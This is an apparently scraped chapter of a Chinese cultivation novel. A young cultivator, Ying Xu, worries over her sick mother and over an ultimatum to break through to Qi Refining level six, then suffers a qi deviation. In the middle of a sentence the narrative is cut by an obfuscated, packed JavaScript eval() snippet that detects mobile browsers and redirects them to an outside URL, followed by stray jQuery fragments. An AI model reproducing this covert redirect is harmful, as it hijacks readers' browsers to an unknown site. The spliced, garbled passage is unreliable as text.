杏林村的日子不会因一两户人家放缓。转眼已是初秋，乡间翠绿半褪、金黄橙红遍地。


    张小叶拎着个篮子走到嬴家，见院门关着，先犹豫了一番，才抬手敲门。


    “笃笃笃——”


    吱呀一声，门板向内打开，探出个脑袋。


    “阿煦？”


    “小叶？”


    嬴煦松了口气，这才回过神来，拉着她进门：“进来坐吧。”


    院中这会儿静静的，只有茸茸和小黑正跑着玩。


    嬴煦招呼张小叶坐下，去冲了碗糖水来给她，就见张小叶惊奇地瞅着茸茸，半晌开口问：


    “你这小狗怎么长得这么慢啊？怎么看着也就比几年前大了一点。”


    “啊，”嬴煦也是一怔，倒没想到张小叶会注意到这个：“许是这种狗都长得慢吧……”


    “这样啊……”张小叶不疑有他，心里想着这种狗确实稀罕，她从没见过，看着像只漂亮绵软的小狼。


    “阿煦，这是我家今年新做的粉，给你家拿了点来，你们尝尝。”


    回过神来，张小叶便从篮子里掏东西。说是拿了点，实际上深深的篮子里足足装了三大老碗的凉粉，还并一包白姜末。


    嬴煦看着她一件件往出拿，抿了抿嘴，心中明白，小叶是为了娘的病来的……


    没管小叶的推拒，待她要走时，嬴煦也硬是给塞了些吃食糖块。


    人已跨出院外，张小叶攥了攥手心，还是回头道：“阿煦……我嘴笨。你，你一定要振作起来，晏姨肯定会没事的。”


    嬴煦勉强扬了扬嘴角，心中酸楚：“嗯，我肯定会的。”


    见她没太消沉，张小叶才松了口气：“好，那我就先回去了。你要是缺什么东西或者药材，你就来找我，我对咱山上的药熟悉的很呢。”


    嬴煦点点头，笑着与她作别。


    见小叶瘦削的身影远远朝河边去，她才收回凝望的视线，重新关上院门，回了主屋。


    “娘，是小叶来了。”


    主屋的炕上正靠坐着嬴晏，手里还捉着针线，在绣东西。


    “小叶啊……”想起张家的情况，嬴晏轻轻叹了口气。


    嬴煦走到她身边，看着明显消瘦许多的嬴晏，心中闷痛：“娘，你多歇歇吧，我打的鹿和兔子野鸡都能换钱，你何必费这个神。”


    “别打搅我，我也没虚弱到那个程度。”嬴晏笑，“我给茸茸和猫儿绣香包呢。”


    看着彩线在嬴晏手中翻飞，渐渐变成个竖着耳朵的小狗脑袋形状，嬴煦一边看得入神，一边沉默。


    若不是自己意外回家，又若不是那日娘刚好病发……不知她和姥姥要瞒着自己多久。


    “娘……”再开口，她语气已染上祈求，“你都绣了一早上了，真的不用多歇歇吗？我……”


    “阿煦。”嬴晏有些哭笑不得地看过来，“你怎的小小年纪就变唠叨了，娘和你姥姥都没这么爱嘀咕呢。”


    “娘！”


    嬴煦有些窘，但还是放不下心来：“虽然说是没事，但……”


    手里的活儿停下，嬴晏摸了摸女儿的头：“阿煦，相信娘，就算娘会骗你，大夫总不会骗你吧？”


    见嬴晏一脸认真，嬴煦怔了怔，没再吭声。


    “你关心则乱，娘都明白……”嬴晏握了握女儿的手，“我这病年岁已久，我清楚的很。


    “虽然发作时看着吓人了些，但对娘而言，几十年内都不打紧的。只是每发作一次，免不得要虚弱一段时间。”


    嬴煦看着她清减许多的面庞，脸上无甚表情。


    嬴晏叹了口气，心道她果然没信：“好，我睡下歇会儿，你别操心了，也去歇会儿吧。”


    嬴煦这才点了点头，走出主屋。


    嬴晏看着她有些沉默的背影，心中酸楚。


    到底是说了谎的，但沉疴顽疾，谈何容易……


    .


    这头的嬴煦则出了堂屋，脚步轻浅间一转身，朝着后院而去。


    想起什么，身影又停下，回头锁好院门，丢了个小法术启动藏在门槛下的阵盘。


    她符文阵法学得都粗浅，更别提自己炼制阵盘。以她之能，倒是能使个禁制隔绝凡人不假，但若有其他危险……


    不再继续想，她闭了闭眼吐出口浊气，悄悄朝着后院而去。


    见她往后院走，茸茸便知她是要打坐，扭头撇下猫儿，跟着嬴煦往后院跑。


    它不懂嬴煦这是在“修练”，但直觉地喜欢她修练时的气息。


    嬴煦打坐时，周身会有些淡淡亮着蓝光的小点无风自动，朝着她体内而去。


    那些光点让它觉得十分舒适，甚至十分熟悉……


    所以它也总跟着嬴煦，能蹭到一点是一点。


    猫儿见茸茸走了，打了个哈欠，乐得清闲，几个纵跃跳上主屋的屋顶，蹲身眯着眼不动了。


    后院里嬴煦也盘腿坐下，默念心法。


    歇息……娘是该歇息，可她哪里敢？


    .


    嬴家的院子是重盖过一遭的。嬴煦自记事起，一家三口俱住的是现今的“后院”。


    后院是正北一座主屋，西边隔了个小小的耳房放些杂物，东边一座灶房。三人俱睡在主屋的大炕上。


    直至她六岁，道经已读得熟透。那时家里便一声不吭咬牙盖起了新院子。


    接着旧院的前头盖起了更大的主屋、更大的灶房，还在西侧给她盖了单独的卧房兼书房。


    回想幼时，娘虽没主动提过半句要她修道，但对她读书问道一事，家里的宠溺支持，却是从没少过的。


    后来全家俱住在前院，后院的房子便俱放着杂物和柴禾。院中一片开成了小菜地，种些时令蔬菜瓜果，也曾养过几只鸡鸭。


    除去猫儿老爱来后院玩耍，平日里人不怎么来。


    但如今的后院已悄悄变了样。


    小菜地早已抹平，铺上了草席蒲团。禁制隔绝了旁人的视线，嬴煦如今日日盘坐此地，吐纳修行。


    她只有半年出头的时间。这半年……她必须得突破练气六层。


    想起自己出山门时听到的传音，嬴煦心有惧意，却无路可退。


    她怎么也没想到……那几乎被自己忘了个干净的周语明，会在这时找上她。


    二十年矿上劳役，几乎会断绝她的修行之路。矿工虽有报酬，却日日披星戴月，埋头土石，毫无修行的时间。


    更莫说少了门中的课业功法、师长指教、任务磨砺。


    即便掌事所言非虚，她真能在二十年后返回门中。但到了那时，一个年过三十的练气五层修士，六十岁前筑基的希望，已经非常小了……


    想入内门几乎绝无可能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586741|168995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，甚至因着有重罚在前，在外门也难以安身。


    更大可能，她根本不会被召回门中。若真如此，她的一生，只能耗尽年岁在矿上和乡间打转，即便能享寿百岁，可她哪能甘心？


    那夜她刚从南霍山返回门中，便听到周语明传音，说她必要遭难，轻则休学受罚，重则性命不保。


    那时嬴煦惊惧非常，几乎无力思考，但看着事情走向一路朝对方所言发展，心中已经信了个十成十。


    所以，在对方要她绕开大路，顺着小道出城时，她照做了。


    但这自然不是无偿的馈赠。周语明那时语气淡然，却叫她至今想起都心中发寒——


    “八个月之内，我能保你全家平安。你若能八月后突破练气六层，我便收你入内门，免去你的二十年劳役。


    “否则，你就自求多福吧。”


    短短两句话，似是威胁。


    嬴煦却知道不是。


    灵矿危险，世人皆知。要死个人实在太过容易。


    更不提章家在琅岩城内也并非普通富甲，若真怀恨于她，让矿上出个什么意外，无声无息弄死个无名小卒，几乎不费吹灰之力。


    但这周语明看似给了她一线生机，她却无法不心惊难安。


    先不提她能不能顺利突破，这周语明找上她一个普普通通的练气中期小门生，要做什么？


    她入门两年，拢共也就在入门考核和第一次小考见过他。


    若是他缺人驱使，门中有无数杂役门生。练气后期中，想攀上筑基修士关系的大有人在。


    她一个中期小门生，仅凭那先天百脉，便能入了他的眼？值得他为此得罪章家，力保她性命？


    而且他的诺言真能兑现吗？周语明在外门也是一贯没甚名气，甚至连课也不曾任过几节……


    他甚至不是孙家人，虽还年轻，却也不是内门修士……


    他当真能如他所言，半年之内自己入得内门，且带上嬴煦吗？


    心中焦虑难安，嬴煦不知不觉额上遍布冷汗。


    茸茸发觉不对，咬着她的衣服嘤嘤两声。但她正在运功，茸茸直觉不敢打断她，只得急得在原地乱转，口中呜呜叫唤。


    而嬴煦毫无所觉，思绪如脱了缰的野马般狂奔。


    她修练虽一贯很快，但突破练气五层也才是今年初的事，仅仅八个月时间，她真的能突破练气六层吗？


    如今两个月已过，她甚至只剩下六个月时间……两月来丹田内灵雾几乎没有增长，此地灵气本也不甚浓郁，手中没有一块灵石，娘还病卧在床……


    "啊！"


    她猝然睁开眼，上半身因极度痛苦而蜷曲。


    体内灵气紊乱，逆流冲心，叫她耳鼻霎时鲜血直流。茸茸风似得冲出院外，扒着主屋的门狂叫。


    挑着扁担刚进门的嬴劭急匆匆跑来后院，看着浑身发抖的嬴煦慌忙上前去扶她：“阿煦！”


    嬴煦耳中嗡嗡，几乎听不到声音，但意识尚存，很快反应过来，自己这是急火攻心，灵气逆流，修行出茬了。


    一道黑影从屋顶窜下，猫儿无声落地，前爪挨上嬴煦后心，晶石般耀眼的蓝色虹膜中黑气闪过。


    体内灵气忽而顺畅了些，嬴煦咬着牙调整呼吸，将乱窜的灵气稳稳压下。


    待痛苦散去，她却也耗尽力气，就这么昏了过去。